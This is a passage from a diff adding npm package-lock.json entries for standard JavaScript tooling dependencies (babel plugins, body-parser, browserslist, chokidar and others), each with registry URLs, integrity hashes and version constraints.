"node_modules/babel-jest/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/babel-jest/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/babel-jest/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/babel-jest/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/babel-jest/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-jest/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.3.0.tgz", + "integrity": "sha512-H8SvsMF+m9t15HNLMipppzkC+Y2Yq+v3SonZyU70RBL/h1gxPkH08Ot8pEE9Z4Kd+czyWJClmFS8qzIP9OZ04Q==", + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz", + "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==", + "dependencies": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.0.0", + "@types/babel__traverse": "^7.0.6" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/babel-plugin-named-asset-import": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz", + "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==", + "peerDependencies": { + "@babel/core": "^7.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.4.8", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.8.tgz", + "integrity": "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg==", + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-define-polyfill-provider": "^0.5.0", + "semver": "^6.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.9.0.tgz", + "integrity": "sha512-7nZPG1uzK2Ymhy/NbaOWTg3uibM2BmGASS4vHS4szRZAIR8R6GwA/xAujpdrXU5iyklrimWnLWU+BLF9suPTqg==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.5.0", + "core-js-compat": "^3.34.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.5.5.tgz", + "integrity": "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg==", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.5.0" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/babel-plugin-transform-react-remove-prop-types": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz", + "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==" + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz", + "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==", + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.8.3", + "@babel/plugin-syntax-import-meta": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.8.3", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz", + "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==", + "dependencies": { + "babel-plugin-jest-hoist": "^27.5.1", + "babel-preset-current-node-syntax": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-react-app": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz", + "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/plugin-proposal-class-properties": "^7.16.0", + "@babel/plugin-proposal-decorators": "^7.16.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0", + "@babel/plugin-proposal-numeric-separator": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.0", + "@babel/plugin-proposal-private-methods": "^7.16.0", + "@babel/plugin-transform-flow-strip-types": "^7.16.0", + "@babel/plugin-transform-react-display-name": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", + "@babel/preset-env": "^7.16.4", + "@babel/preset-react": "^7.16.0", + "@babel/preset-typescript": "^7.16.0", + "@babel/runtime": "^7.16.3", + "babel-plugin-macros": "^3.1.0", + "babel-plugin-transform-react-remove-prop-types": "^0.4.24" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==" + }, + "node_modules/bfj": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.1.0.tgz", + "integrity": "sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==", + "dependencies": { + "bluebird": "^3.7.2", + "check-types": "^11.2.3", + "hoopy": "^0.1.4", + "jsonpath": "^1.1.1", + "tryer": "^1.0.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==" + }, + "node_modules/body-parser": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz", + "integrity": "sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.11.0", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/bonjour-service": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.2.1.tgz", + "integrity": "sha512-oSzCS2zV14bh2kji6vNe7vrpJYCHGvcZnlffFQ1MEoX/WOeQ/teD8SYWKR942OI3INjq8OMNJlbPK5LLLUxFDw==", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/bonjour-service/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==" + }, + "node_modules/browserslist": { + "version": "4.23.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.0.tgz", + "integrity": "sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001587", + "electron-to-chromium": "^1.4.668", + "node-releases": "^2.0.14", + "update-browserslist-db": "^1.0.13" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/builtin-modules": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001587", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001587.tgz", + "integrity": "sha512-HMFNotUmLXn71BQxg8cijvqxnIAofforZOwGsxyXJ0qugTdspUF4sPSJ2vhgprHCB996tIDzEq1ubumPDV8ULA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ] + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/check-types": { + "version": "11.2.3", + "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.2.3.tgz", + "integrity": "sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==" + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==" + }, + "node_modules/clean-css": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.3.tgz", + "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-truncate": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-3.1.0.tgz", + "integrity": "sha512-wfOBkjXteqSnI59oPcJkcPl/ZmwvMMOj340qUIY1SKZCv0B9Cf4D4fAucRkIKQmsIuYK3x1rrgU7MeGRruiuiA==", + "dev": true, + "dependencies": { + "slice-ansi": "^5.0.0", + "string-width": "^5.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": 